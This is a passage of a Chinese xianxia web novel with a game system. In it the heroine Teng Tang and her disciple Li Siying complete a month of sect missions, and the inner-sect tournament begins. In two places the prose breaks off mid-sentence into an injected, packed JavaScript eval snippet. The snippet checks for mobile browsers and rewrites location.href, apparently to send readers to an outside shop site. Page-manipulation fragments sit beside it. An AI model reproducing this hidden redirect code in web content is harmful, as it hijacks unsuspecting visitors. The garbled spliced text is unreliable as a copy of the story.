李偲缨完全抓不住重点,没有好好回答滕棠的问题,讲天央大陆十年里发生了什么大事。她还沉浸在师父死后诈尸的喜悦之中,抱着滕棠的腿,前言不搭后语地说:“师父不知道,你给我的那些药,后来又救了我一次命。” 把自己的灵堂摧毁之后,院落里的空气都清新了不少。滕棠将人扶起,让李偲缨坐在另外一块石头上,打算从这个点切入:“此话怎讲?你被谁欺负了?” 李偲缨眼睛红红的,表情很是愤怒。她脸上的冰霜全化了,看起来和常人无异:“就是那个满头红毛的龙傲天!我们在一个秘境内起了冲突,他要杀我,我实力不如他,差点丢了性命,幸好师父的药有奇效,我吞下后立马就好了。” 滕棠听她这么讲,连忙把这两日领的[师徒召唤符]、回血丹拿出来,放到她手心,向她打听:“龙傲天他现在是不是很强?” 李偲缨感动地收下,暗自发誓,以后要好好报答师父。这世间除了娘,只有师父对自己这么好。 她悄悄抹泪:“师父这十年在哪里?没听说么?” 付岚山突然从滕棠的丹田里支出头,插话道:“嘶嘶嘶……”她在海底烂了五年,什么都不知道。 “呀,什么东西!”李偲缨被吓了一跳。 滕棠把扭动的付岚山按回去,心想,岂止是五年…… 她扶正李偲缨,把对方的注意力拉回来:“快跟我说说,龙傲天怎么了?” 李偲缨点点头,开始回忆:“十年前,师父被那人鱼族长推入灵魂宝石中,我……” “前面的铺垫省去,说重点。”滕棠受不了她的叙事风格,每次问一件事,总能扯到最初的起点。 她怀疑要是时间足够的话,李偲缨会从盘古开天地开始讲。 李偲缨再次点头,明明比滕棠大一千多岁,看着却比滕棠天真。 “十年前,天道发怒,用天雷击毁珊瑚秘境。我被二长老劈晕,被刘仁刘慈他们带着逃了出来。我醒来后,听闻狂海异象丛生,紫雷轰鸣了三天三夜,我和刘仁刘慈都以为师父你死了……我伤心伤神之下,竟觉醒了寒冰神体,实力猛涨,获得了去无涯宗修习的资格。” 李偲缨从储物戒内取出一块影灵石,放到石桌上,投射出一段龙傲天的画面。 “天道毁去珊瑚秘境后,忽然心性大变。众人突破境界再无雷劫,无涯巅很久不落道石,龙傲天失去了气运……许多人怀疑天道消失了,我也如此怀疑过。我在无涯宗修习时,时常见到龙傲天被人揍。他引不出天雷,气运消失,战斗力大降,以前树立的敌人,皆来找他报仇。我也不喜欢他,想到他曾经对我尸体做的事,我异常想加入那些人,一起揍他。” 李偲缨一提到龙傲天的名字,便咬牙切齿,恨不得将对方碎尸万段,眼神阴冷无比:“有一日,我和屠丹发现他图谋不轨,师父你瞧……据闻他喊的那位师父,乃是东妖灵陆隐离宗的宗主——李谡,和无涯宗有血海深仇……” 李偲缨语速很快,突突突,像机关炮一样囫囵讲述,滕棠竟没注意到“屠丹”二字。 她的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没想到,这给亡者吃的果子很甜,脆嫩多汁,让她忆起前世吃的苹果。 对于龙傲天还活着、天道隐匿等事,滕棠本来很烦心,但是吃到和苹果差不多的甜灵果后,她突然想通。 无论是龙傲天,亦或天道,其实一直在想办法灭了她。可他们直到现在都没灭掉她,她有什么可担心的? 当务之急,她应该抓紧时间变强,强到无人敢欺,连天道都畏惧的地步。 “徒弟,你最近有空么?”滕棠想到自己的主线剧情任务。 一个人做任务,不如组队做任务。如果带上李偲缨,她可以同时完成门派任务和师徒任务,一边刷门派贡献点,一边刷师徒羁绊值。 “我闲得很,师傅要我做什么事?”李偲缨乖巧坐着,等待她吩咐。 “我要你跟我去做一些事,大约耽搁一个月,会影响你的修行么?” 滕棠的后半句,只是客套问一下,重点在前半句,让李偲缨知晓,这一个月都要跟着自己。 李偲缨却抓不住重点,很认真地回她后半句:“不会。师父,我天赋太好没办法,睡觉涨灵力,发呆涨灵力,连骂人都涨灵力,干什么事都不影响修行。我元婴期那会儿,待在无涯宗藏书阁,读了半年杂书,未打坐过一次,竟突破了四层,我……” “……”滕棠听到一半,心脏已经千疮百孔。 她忘寝废食,日夜修行,不见修为增长。李偲缨偷懒、摸鱼、划水,随随便便就能突破境界。真是人比人,气死人,要是没有热血岁月,她现在还在炼气期呢。 带着天才徒弟,滕棠离开了修行院,去狂刀门的任务阁。 任务阁可领门内任务,管事阁可领门外任务。这两个地方,狂刀门的弟子都不爱来。 前者太枯燥乏味,都是些浇花护草、维修门派建筑的任务;后者需要下山,为百姓斩妖除魔,或者去广袤的森林捕猎精怪,这些任务太危险,即使完成了,得到的收获还需要上交一部分给门派,算下来,回报很低。 滕棠本来想着,门外的任务太耗时,门内任务不消耗多少时间,三项任务都接门内的。 结果她的如意算盘落了空,发现[初出茅庐·四]有要求和限制,门内的任务她最多只能接一项,门外的任务则没有数量限制。 滕棠走进楼中,没有看到人,便自行去墙上揭任务纸张。 她没有花费时间挑选,随便揭下一张后,就带着云里雾里的李偲缨前往西边的灵药山。 狂刀门的灵药山面积中等,此时六月末,正值开花旺季,山内气味芬芳,煞是好闻。 这儿青山绿水,药田呈阶梯状分布,和光秃秃的内峰俨然两个世界。 滕棠御行大刀飞在前面,见山峰一处有人的身影,立即带着李偲缨下去。 三个四灵根记名弟子,正提壶拿铲,小心翼翼地呵护柔弱的灵草。他们日常养护灵田,多年来,不怎么见到其他人。 因此,当滕棠和李偲缨出现时,他们都以为自己被太阳晒着,热出了幻觉。 一位记名弟子稍微清醒,看到二人腰间挂的玉令牌,吓了一跳,很有眼力地上前询问:“两位大师姐前来,不知有何贵干?” 他一发话,其余人都惊醒过来,动作变得万分拘谨。 三人很纳闷,往常师兄师姐需要灵药,直接派杂役过来领就是了,今日怎么突然主动前来,做这等小事? “这些灵田都照顾了?”滕棠指着左右两座山,动作姿势很像来视察的领导。 三个记名弟子陡然变得胆怯,蓦地意识到,滕棠与李偲缨可能不是来领灵药的,而是替长老、管事们巡查。这种事,每年都会发生一次,目的是为了警醒他们,不要好吃懒做。 三人慌里慌张,站在中间那个胆子稍大一些,结结巴巴地回滕棠的话:“都、都照顾了,两位大师姐放心,我们几人很细心。” 那张纸上写的是照顾一亩灵田,滕棠以为很好做,没料到这三人太过勤快,已经把大部分的灵田照顾了。如今只剩下第三座药山的山脚,这里还有一亩半没照顾。 滕棠不敢让他们继续工作,忙让三人停下手,都过来。 要是让三人继续浇养,她的任务就得等明日才能做,她待会儿还想下山呢。 83. 第 83 章 滕棠不想耽误时间,在三人慌神之际,上前抢走他们的水壶、灵锹等工具,对他们摆手:“你们都去那边歇着,不许过来,剩下的一亩半灵田,我们二人会照顾好。” “大、大师姐?”三人转不过脑子。 中间那位诚惶诚恐地说:“我们有什么做不好的地方,请大师姐指教,我们一定改!” 他身边那位埋着头,结结巴巴地说:“两位大师姐若、若嫌我们做不好,也、也不用自己来啊……” 李偲缨对滕棠马首是瞻,心中虽有疑惑与不解,但脑回路清奇,很快替自家师父找到解释,佩服地朝滕棠一拜:“不愧是我师、不愧是滕大师姐!心地如此善良,我同为大师姐,深感惭愧!入门十年,我竟从未想到去体恤下面的弟子、杂役。” 滕棠瞥她一眼,把水壶送到她手上:“是么?那我们开始做事吧。” 师徒任务,怎么能只有师,没有徒? 她读过详情规则,她和李偲缨两人不管做什么任务,都能增加羁绊值。 等羁绊值升高,她们不仅有丰厚的奖励可以拿,还有师徒加成。在师徒加成下,两人一起组队打架、刷怪,各项基础值都会提升,能爆发出更为厉害的攻击。 “不可啊!两位大师姐!”三位记名弟子,想上前阻止,却被滕棠的眼神唬住,给吓了回去。 他们望着两个貌若天仙的大师姐,见她们没有开玩笑,已经挽起袖子和裤腿开始下地干活,真怀疑自己热出了幻觉。 “莫非她们不是狂刀门的大师姐?”一名弟子喃喃,随后摇头反驳自己:“那玉牌做不得假。” 三人被抢走活儿后,一时之间不知晓该做什么。他们站在茅草屋门前,走也不是,不走也不是。 现在不到时辰,他们提前回去,会被管事骂的。 但继续待在这里,望着地位最高的两位师姐弓腰做事,他们则立在一旁观看,身份完全反过来,又让他们心里特别不自在。 所幸滕棠干事利索,没有让三人惊惶无措太久,大约一盏茶时间后,就和李偲缨将一亩半的灵田照顾完,超量完成任务。 她走到茅草屋那儿,于册子上登记自己和李偲缨的名字、贡献事项,没和那三人说几句话,便来也匆匆、去也匆匆,拉着李偲缨往东边的山飞去。 三个记名弟子忙低头,朝她们离去的方向连连道谢,美言她们乐善好施、爱人以德,暗自长舒一口气,终于把两位女仙送走了。 李偲缨掐着净身诀,裤腿和袖子都未放下来,表情有点委屈巴巴的:“师父,我们这是去哪儿?” 李偲缨平日不爱出门活动,像个大家闺秀,整日待在屋里,谎称“闭关”,即使出门,也是去友人那儿待上几日,很快就会回来。 今日她被滕棠拉着到处跑,下地干脏活,浑身都是泥土和汗水,心中说不上的委屈。师父回来是好事,折腾她是坏事,做这些杂活有何意义呢? 滕棠拽着她的手腕,踩在大刀上,往管事阁那边飞。她身边的李偲缨,实力比她大三个境界,分神一层,已不需要御使灵器飞行,可直接踏空而行。 “徒弟?你想变强吗?”滕棠转头问。 “当然想!”李偲缨点头,暗道这件事没有人不想。 即使她达分神境,仍觉渺小,想升至合体期、洞虚期、大乘期、渡劫期,最后飞升成仙。 滕棠温蔼地看向她,开始为任务做铺垫,语重心长道:“成大事者,必先苦其心志,劳其筋骨……” 通篇大论,说得李偲缨一愣一愣的。 管事阁在狂刀门的东边,坐落在峻岭之中,不像北面那么荒,不如西面那么青翠。绿松点缀得恰到好处,幽山绿崖,修者飞于其间,恍然感觉,自己的灵魂被带到了崇高的境界。 管事阁这里,同样不常来人,连管事都不怎么待在这儿,都在山下住,好方便管理门派,给杂役、记名弟子、外门弟子分配事务。 山上的楼阁建在那儿,只为了好看,远看颇有意境,近看会发现,到处都长着杂草、青苔,再过些年,若无人来修缮,大概率会垮塌。 滕棠拉着李偲缨进去的时候,没想到里面有人。 里面的管事更没想到,李大-师姐和新晋的滕大师姐会来到此处。他腾地从木椅上立起,走到柜前,恭敬地等两位师姐吩咐。 滕棠行至他面前,一拍桌道:“把所有的贴文都拿出来,最好是降妖除魔、抓捕精怪一类。” 狂刀门不养闲人,每个弟子都需要为门派贡献力量,但大多数弟子都选择上交自己的财物或斩获的妖核,罕有来领贴文的。 管事阁这里堆的贴文,不说上万,至少好几千张,这还是筛选、淘汰后的数量。 老管事一边翻开柜子,一边问:“两位大师姐要多少张?哪个地方的?” 门外任务没有限制,能者多劳,只要完成,系统便会根据难易度的不同,给相应贡献点、成就点,用来兑换门派商城的物品。 [初出茅庐·四]要求至少完成三项门派任务,如今滕棠只需完成两项就可以了。但是她嫌不够,既然能多拿奖励,为何不拿? 距离内门大比还剩一个月,光待在修行院中苦练,她的实力很难得到精进,若做门派任务,获得一些资源,反而有可能突破层级。 滕棠豪迈地把储物戒放到桌面:“全给我装上!” “什么?!”老管事和李偲缨异口同声地问。 “你们没听错,这些贴文我都领了。”滕棠给管事一个确定、认真、坚定的眼神。 管事开柜子的手抖个不停,老泪纵横:“你们真是好人呐!那些凡人一定会为你们立像供奉的!” 他将一柜子的贴文清空,放入滕棠的储物戒中:“上千张太多了,两位师姐先做这一柜的吧,约莫五百张。” “行。”滕棠点点头,其实心里没数,不知道一天能完成几项。 她想着,贴文放在戒指中不会跑,这一个月完不成,下个月找时间完成不就行了。 但站在管事的角度想,自己拿这么多走,很有可能完不成,导致他失职。她是该少拿些,等做完了再来领,那时候管事就相信她了。 两人离开狂刀门后,管事那句“立像供奉”一语成谶。 滕棠带着天才徒弟,用了二十七日为民除害,在附近的散修城、凡人镇名声赫赫,叫所有邪魔妖鬼不敢靠近。 她们的善良之举,让这些人立刻换了崇拜对象。 狂刀门附近的凡人城内,别人的石像都长了草,无人问津。就滕棠和李偲缨的崭新靓丽,石像前常有凡人敬拜: “两位仙子在上,吾家妻子想生男,鄙夫想要女,求仙子们成全一对龙凤胎。” “大刀仙子浑身珠光宝气,光华夺目,求您保佑我财源广进,功名富贵。” 这事幸好没被滕棠见到,否则会忍不住拔-出大刀吓吓他们。 她和李偲缨只负责除暴安良,不负责送子送财。 连轴转二十七日没歇息,在各个凡人之城当好人,没什么收益,还累得不行,饶是李偲缨再厉害也受不住。 但她不敢跟滕棠诉苦,仍是疲惫笑着,在旁边有气无力地夸赞滕棠:“师父大善人!师父真厉害!师父……” 走在民间的小道上,两边风景如画,没了鬼煞等邪祟之物,一派和谐。 滕棠耳边全是李偲缨的夸夸,听得耳朵生茧。她说了几日,仍改不掉徒弟拍马屁的属性。 她扭过头,见李偲缨神态疲惫,一直不好意思叫累,于是将手搭在李偲缨肩膀上,慈爱道:“徒弟,你夸师父一句,师父就带你多做十项任务,夸两句,多做二十项。多夸点,我爱带你做任务。” 李偲缨听罢,嗫嚅半晌,嘴里再也蹦不出溢美之词,瞬间安静下来。 贴文任务有很多种,除了为民除害,将祸乱人间的妖魔鬼怪给诛杀、驱赶,还有去荒山野岭捕猎精怪的,拿着那些掉落物品换东西。 滕棠没什么想换的,她接这些任务,只为了涨门派贡献点,在游戏系统上拿奖励,因此不在乎最终收益如何、任务到底值不值。 在最后两日,她拉着李偲缨进了精怪众多的雨来森林,开始勤勤恳恳地组队打怪。 这时,她们的师徒羁绊已经达到了[10级]。 游戏不管什么玩法,都有一个尿性——前期提升较快,后期就会慢下来。达到[10级]后,滕棠看着那长长的灰色进度条,心里替疲惫的李偲缨叫屈,想升满级,得干到何年何月。 一切都只是开始,往后的路还长着呢…… 百分之十的加成效果,即使是炼气期的修者,也能感觉出来,莫说分神期的高手。 李偲缨讶异地发现,跟着师父奔波的这二十来天,自己确实变强了很多。 但总感觉这种“变强”很不稳定,一远离滕棠,她的实力就会变成原来的样子,和滕棠挨得近,她才能感觉到实力的增强。 李偲缨很快将自己的发现告诉滕棠:“师父,感觉您在我身边,我会更厉害,您不在我身边,我的实力就被打回原形了。” 滕棠没解释其中原因,提刀敦促她:“快打怪!别站在那儿闲聊偷懒。” 一个月没休息的李偲缨,露出哭戚戚的表情,在滕棠的威严下,不得不提起灵剑,继续打怪,心里直呼师父太可怕! 下次不管师父要做什么,她绝不跟来。若师父要求她一起,她就坚定拒绝!做这些百无聊赖的事,她确实感觉自己变强了,但是好累呀!她二十七天没有休息过一次!凡间的驴都比她过得好。 不停歇地打了两日怪后,二人带着满满的收获,灰头土脸地赶回狂刀门。 李偲缨暗中长长舒气,心中呐喊:终于结束了!我自由了!可以休息了! 快飞到狂刀门的时候,滕棠拍拍她的肩:“徒弟这次做的不错,下次好好努力,改日师父再带你下山历练,你会变得更强的!” 李偲缨张口要说拒绝的话,却被滕棠打断:“不许违背师令!想当我徒弟,就要懂得天道酬勤,呸,就要懂得勤能补拙、笨鸟先飞,一分耕耘一分收获……” 李偲缨努力扯出一抹僵硬的笑容,之前叽叽喳喳的,这会儿一个字都说不出来。 主线任务的奖励,滕棠已经领了,加上新的基础数值翻倍卡,她如今的血条有元婴九层那么厚,听起来很不错,但远远达不到她满意的程度。 果然基础差,用多少张翻倍卡都不顶用。 她的血肉之资实在太差劲,当初在那赤血圣殿之中,看到龙傲天吸收了那么多血珊瑚汁,她隐约感受到了差距,并未细想,现下用完数张翻倍卡,血条仅增长到元婴九层的程度,她才真正意识到其中差距。 滕棠看一眼自己的财富,暗自摇头,血肉增强液太贵,买不了两瓶,想提高自己的生命值,使用基础数值翻倍卡是最便捷的道路。 打开主线剧情任务,滕棠发现[初出茅庐·四]并没有结束,开启了第二项。 [初出茅庐·四:在门派附近立身扬名,只是你踏出的一小步,你决定在内门大比中威风八面,勇夺第一的头衔。▽20时36分51秒] 第二项任务不仅时间短,还要求高。 明日内门大比开启,这场比试通常要持续两三天。她却必须在明日未时前,拿到第一的名次。 那么多弟子,我真能拿到第一的名次?滕棠的心理压力倍增,御刀在天空中飞行时,一脸心不在焉。她还记着自己的活动,要打赢一千场,拿[雄霸天下]的大奖。 两个任务似乎有点冲突…… 滕棠瞄到旁边神情疲惫的李偲缨,突然想起李夙昇的话,记得不错的话,她的徒弟目前位列第一。 “徒弟,内门大比,你排第一?”滕棠得确认这件事,李夙昇的话不一定可信。 狂刀门好歹是上千年的门派,总有几个天赋卓绝的弟子。 “对,狂刀门的弟子都太弱了,不经打,他们的实力增长缓慢,那个内门大比,我早就不参加了。” 李偲缨翻转腰间玉牌,背面的数真的是“壹”。 她的话又开始多起来,仿佛忘记了这一个月的奔波劳累。 “当初我拜进狂刀门,他们叫我去比试,我不想拿第一的,但二长老说只有拿了第一,才可以得到自由,想做什么都没人管。我在那群弟子中挑来选去,发现他们都好弱,挑数字大的,像在欺负人,唯有挑第一那位能多出几招,于是我……” 滕棠听得心窝子痛,见她如此不在乎虚名,便问她:“你能不能到时候把第一让给我?师父送你完美品质、无毒、无副作用的丹药。” 李偲缨没多想就点头了,在狂刀门当第一,对她来说没多大意思,在百门盟中当第一天才,那才叫厉害。 师父乃神仙下凡,不可能拿不到第一,恐怕觉得不能溺爱徒弟,便拐弯抹角地说话,想送她丹药。 她吃过师父的丹药,完美到令人难以置信,这世间有谁炼制得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032742|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来?花钱都买不到的珍贵之物,就这样白白送给她……李偲缨感动到双眼湿润。 “师父放心,我一定好好修行,这第一您随便拿去,它不足挂齿,连孝敬都算不上。” 滕棠见她哭,以为她舍不得,心存愧疚,默默多买了些灵丹,等拿到第一后,再补偿李偲缨。 滕棠之后又问了些问题,比如内门弟子的实力如何,此次参与的人大约有多少。 李偲缨一一答复,说近几年狂刀门涌进不少人才,都为她和司徒福禄而来,内门弟子有千余人,不一定都参加内门大比…… 滕棠听完,心里很忐忑,总感觉自己的任务完不成、活动大奖拿不到。 天空中,滕棠踩着刀,李偲缨踏着虚空。两人风尘仆仆地回到管事阁,身上还带着血气。 一进门,滕棠就把储物戒、储物袋拿出来,放到台上,让管事清数。 偶尔有弟子来领贴文,做完任务,上交物品时都会私藏,不会真的拿出十分之三的成果,上交门派。 但眼前的两位大师姐……管事翻了翻里面的东西,核对贴文上的要求、数目,颇感惊讶。里面的东西,能抵弟子们半年的上交额,能抵长老们五个月的贡献度。 最重要的是,他那一柜子贴文,五百多张,她们两人竟然耗时一个月就完成了! 老管事再次涕泗横流:“两位大师姐真是善人呐!勤劳、善良、诚实……” 李偲缨拉拉滕棠的衣角,垮着脸小声问:“师父我们不私藏点么?为何这么老实?” 滕棠苦笑,她也想啊,谁愿意当大冤种,没享受到什么门派福利,却贡献这么多东西上去。 但她的想法,并不能改变游戏系统的苛刻检测,少一点,任务都不算完成,会减少相应的贡献点、成就点。因此她必须老实,拿出十分之三,价值起码一千上品灵石的成果,尽数交予门派。 滕棠怕自己肉痛,然后反悔,于是交完东西,立马转头走人。 李偲缨没辙,觉得她师父太好了,简直是菩萨转世。 她跟在滕棠后边,不停夸夸,而后说:“明日内门比试,师父暂无序位,如果想拿我身上的第一,我一定好好演戏配合,希望到时候师父下手轻些。” “行……”滕棠怀疑李偲缨不知差三个大境界意味着什么,竟让自己下手轻些。 她金丹三层,游戏等级还停留在[31级],这两个实力都不行。和分神一层的李偲缨打,她不用精神力的话,根本打不过。 回到掌门峰的修行院,二人各回厢房。李偲缨直接瘫倒在自己的床上,一根手指都不想动,而滕棠丝毫不觉疲倦,踏入自己简易的聚灵阵,开始打坐修行。 一夜之后,李偲缨懒懒散散地走出房门,逗院中歇息的鹰,感觉自己的实力境界有所松动。而她师父——废柴滕棠,刚结束打坐,正在签到,完全没有任何提升。 清晨卯时三刻,金乌刚升起,狂刀门内还不是很亮。但东部的一处山谷,已经聚满了人。 山谷中央有个巨大的圆形擂台,直径有两百米。四周的高山上全是石梯坐席,一圈圈往下,可供八万人入座。 每两个坐席之间,有张小石桌,上面摆有茶水和普通灵果,供弟子解渴止馋。 滕棠和李偲缨来了之后,没有挑剔,走到边缘位置坐下,听大长老在空中慢悠悠讲话,宣读本次的比试情况及规则。 滕棠听完开头一段,觉得很不合理。 这次内门比试不巧和百门大比撞上。这两日,内门决出的前几名弟子,根本没空休息,六日后,就得去天央大陆的中心,代表狂刀门和其他门派的弟子切磋。 既然撞上百门大比,为何内门比试不提前几个月进行?非要凑在一块儿? 滕棠问李偲缨,李偲缨也不知缘由,只道:“这是掌门定下的,他不容长老们更改,说提前进行,弟子们本就不多的狂气会变得更少。” 她反问滕棠:“我也不懂,师父,狂气是什么?我总听掌门提起这个东西。” 狂气……忆起拜师那日的言行,滕棠的脸红了几分。 她不自在地喝了一口茶,揣测着说:“我猜掌门的意思……他应该是想说,弟子们比试完会变得懒散,缺乏斗志,松懈后再去参与百门大比,易败于垂成,不如顺当进行,连战皆捷。” “哦~有道理。”李偲缨点点头,她就是这样的人,跟师父奔波一个月,期间从未休息,现在什么事情都不想做,只想躺着做飞升的白日梦。 要不是师父需要第一的玉牌,承诺给她仙丹,她才不来这里呢。 滕棠继续聆听大长老的讲解,顺便观察底下几圈的弟子。 狂刀门内门弟子有一千三百七十六名,今日来参加的共计一千零六名,刚好符合她的连胜需求。 滕棠听见这个数字的时候,松了一口气。 她扫量底下那些弟子,查看他们头顶的等级标识,发现级别都不高,完全低于她的预期,根本没什么值得担心的。 唯一值得担心的是,比试的速度。自己能否在未时之前,同时完成两件事:打千场连胜,获得第二届[雄霸天下]的大奖。将第一拿到手,完成主线剧情任务。 “徒儿,今日比试的弟子,他们灵根天赋怎么样?你知不知道?” 等级不能说明一切,她扫视那些弟子时,只看了头上数字,没有时间一个一个点开,去看详细信息。 “师父问弟子资质?” 李偲缨身为大师姐,时常和掌门、长老们待在一起,听得多了,偶尔会记住些事:“九成是三灵根,一成是双灵根。全门派上下,单灵根只有两位,师父想知道吗?” 李偲缨的笑容藏着小骄傲,浅色的瞳仁盯着滕棠,期望她说“想知道”。 滕棠哪里看不出她的心思,估摸戳到她得意点了,准备炫耀一番。 “不想知道。”滕棠摇摇头。 李偲缨撅嘴,开始王婆卖瓜,自卖自夸,滕棠不想听也得听:“全门派上下,单灵根只有两位,一位是狂刀门的掌门,一位是我!当初我进门,他们得知我是单灵根,几乎把我捧上天,个个都夸我以后会成仙,我……” 滕棠听得耳朵疼,所幸比试马上开始,有其他事情引走李偲缨的注意力,让对方没那么聒噪。 大长老取出沙漏,交予司徒福禄,等待他下令。 山上的弟子们全都安静下来,望向最高的方台,那儿坐着狂刀门最尊贵之人——掌门司徒福禄。 84. 第 84 章 司徒福禄面无表情地接过沙漏,在倒置之前,他让众人肃静,高声对众弟子道:“我未从在你们身上看到狂气!” 他的目光射向滕棠,对自己这个徒弟万分满意:“你们应该多与滕傲天相处,激发身上的狂气,奋力追赶她的脚步!” 全场一片寂静。 所有人顺着他的视线望去,开启灵眼,先是看到了美若天仙的李大-师姐,而后目光往侧边偏移,看到一个面红耳赤、长相柔弱的女子。 早在二十几日前,大家就听说了掌门收徒之事。那时,他们以为这是谣言,别人胡诌的。 可后来,他们不管是问新人弟子、核心弟子,还是问几位长老,得到的答案皆一样。 掌门真的收了徒弟!对方不仅实力不佳,才金丹三层,且毫无天资,为五灵根的废柴之体。 今日他们见到了这个滕傲天,颇为不屑,光从外形上看,对方就没有大师姐的风范。 这样胆小柔弱的女子,真是刀修?真能和李偲缨师姐并排而坐,当他们的大师姐?对方虽身骨挺拔,有一分仙风道气,但终究实力不够,资质更是不堪一提。 除了李大-师姐,他们还有出窍期、元婴期的师兄师姐,足足三十来位,随便站出一人,便能将这个滕傲天比下去。 面对不苟言笑的狂澜尊者,狂刀门的弟子们没胆量直言不讳。他们唯有面对几位长老时,才不那么害怕,个个血气方刚地在底下叫喊。 “大长老您劝劝掌门,一个五灵根废柴,怎能当首徒?长得如此柔弱不能自理,如何服众?我不认她是大师姐!掌门的首徒,应该是李偲缨大师姐!” “就是就是,此人来历不明,实力有待考证,这世上的五灵根皆是废柴,不可能筑基,更不可能结丹!” “二长老,我替李大-师姐委屈啊!李大-师姐进门派如此之久,都没有师父,她滕傲天凭什么拜掌门为师?” 听着下面的喧闹之声,滕棠垂头看向自身,心中纳闷,我哪里柔弱不能自理了?就算我实力不强,但不至于和李偲缨并排坐的资格都没有吧?这一圈坐了不少弟子,怎么不说他们? “这些人真是…气死我了!”李偲缨怒火中烧,听不得这些人鄙视自家师父。 她当即站起身,要夸一夸她师父的厉害,把师父的来历说出来,吓死这些人。 滕棠眼见她站起来,就知道她要发表离谱之言,激化矛盾,立马将她拉回凳子上,捂住她的嘴:“你住口!不许说话!” 李偲缨委屈,不敢违逆她师父,目珠一转,瞪向底下的内门弟子。 滕棠不想引发纷争骂战,谁知此番捂嘴的动作,以及李偲缨生气的眼神,让众人误会了个彻底。 那些弟子愈发忿忿不平,在底下怒喊,向各位长老告状。 “五长老,您看,她如此蛮不讲理!李大-师姐想抒泄心中气闷,她竟敢捂住李大-师姐的嘴!” “六长老,您没看到李大-师姐的眼神么?委屈、生气,她在怪我们不顶用,实则是几位长老不听劝啊!” …… 滕棠听得一阵无语,心道果然被讨厌的人,做什么都会被人恶意解读。 “肃静!” 司徒福禄对众人的反驳声不以为然,似被滕傲天灌了迷魂汤一般,对底下的一众弟子道:“不管是你们,还是李偲缨,都比不上滕傲天!你们没有一个人比她狂!你们身上的狂气不够!” 众弟子哑然,不明白掌门所谓的狂气到底是何物……每次内门大比,他们都能听见这个词,可从未听掌门解释过。 “无论如何,滕傲天不配当首徒!”山上有一名弟子大喊道。 他和其他人一样害怕司徒福禄,喊完立马躲进人多的地方,换个地方坐。 长老们同样如此,谁都不敢和司徒福禄呛声,唯大长老和司徒福禄最熟,飞到他身边,将沙漏抢回来:“你身为掌门,不用操心此事,弟子纷争……我来解决。” 最该解决的便是滕傲天,没有她就没有这些破事儿。再闹下去,这场比试什么时候才能开始? 大长老一抬手,掌心的沙漏飞到天空,放大了十倍,上下倒置。 他喊出“比试开始”时,滕棠脑中的主线剧情任务——[初出茅庐·四]发生变化,显示正在进行。 时候不早了,天已经完全亮了。滕棠想到自己要完成一千场连胜,不抓紧时间的话,很有可能完不成,于是第一个起身。 她屁股刚一离开凳子,李偲缨就伸手拦她:“师父别急,在比试最后时刻挑战我。这样你既能拿第一的玉牌,又不用跟这些人打,浪费时间。” 滕棠推开她的手,云淡风轻地道:“不,师父太无聊了,想下去玩一玩。” “师父……”李偲缨没拦住她,绞着袖子道:“您老人家为何这么喜欢打斗、凑热闹啊!” 滕棠听到背后的声音,心中倍感无奈。她喜欢吗?她一点儿也不喜欢啊!但不做任务,她就不能变强。 沙漏中的细沙掉落了几粒,大长老问谁愿意先挑战的时候,滕棠抢先出声:“我!” 在众人的议论声中,她飞下石台,稳稳落在巨型擂台上。 “你?”大长老语速慢,还未说出后一句“你先候着,比试结束时才可挑战”,便被滕傲天打断。 “嗯,既然大家不服我,那我就率先站出来挑战。”滕棠转身一圈,环视山阶上的弟子。 山上的弟子突然安静,或低头或扭头,大部分都害怕被滕棠挑中。 他们不满滕傲天当首徒是一回事,打不打得过是另一回事。五灵根的金丹三层,如果是真实实力,可以在内门排在上游,约莫两百的位置。 他们大部分都在两百往后,上去和滕傲天打,既不能灭滕傲天的威风,还会被打到认输,在众人面前丢脸。 大部分人都希望她选排名靠前的弟子,和厉害的师兄师姐切磋,大败涂地。 大长老张开嘴巴,想让她别急、等一等,未料再次被滕傲天抢先发言:“我挑战第一千零六位弟子,不知是师弟还是师妹,身上数位是多少,请多多指教。” 大长老一脸气急,这滕傲天不懂仪礼、不懂尊老爱幼么?老抢话。 山上的弟子们则又开始嘈杂起来:“掌门完全看走眼了吧?滕傲天如此畏强凌弱,哪有什么狂气!” “想当年,李大-师姐正人君子,不欺负弱小,不挑战数位大的弟子,直接夺第一,何等风光?她才是当之无愧的狂刀门大师姐!” “太对了!两个大师姐一对比,高低立现。这滕傲天的品行也太低劣了!” “安静…安静……” 大长老说话本来就慢,加上脾气好,根本控制不住场子。他一开口,四面山上的弟子愈发闹腾,嚷嚷着应该把滕傲天赶出门派,这样的弟子不配当首徒,不配为人师姐! “哎,我都说了,别收她为徒,不然不服众,你偏不信。”大长老回头,对坐在高台上的人说道。 司徒福禄仍然置若罔闻,从石椅上起身,不顾众弟子的声讨,问滕傲天:“为何挑战最末尾的弟子?” 司徒福禄那张面瘫脸,给他带来许多好处。一是其他人看不出他喜怒,猜不透他在想什么;二是不怒自威,随便往哪儿一站,浑身威严的气质,外加一丝不苟的表情,会让人心生畏惧,不敢嬉笑、噤若寒蝉。 他一开口,所有弟子都安静下来,都怕惹到他。 滕棠开启灵眼,望向最高的石座。和其他人不同,已经完成[初出茅庐·三]的她,一点也不怕司徒福禄。 反正奖励她已经使用,不管司徒福禄是否反悔收她为徒,都不影响她拿[雄霸天下]大奖的决心。 她倒希望司徒福禄反悔,这样自己不再是大师姐,能低调一些,少挨骂。 开着灵眼,她依旧看不出司徒福禄的心思,掌门的脸比那些魔傀还板硬。 好在滕棠知晓他喜欢听什么话。为避免对方插手,让她放弃欺负弱者,直接挑战靠前的弟子,导致千场连胜的计划失败,她决定拿捏对方的喜好。 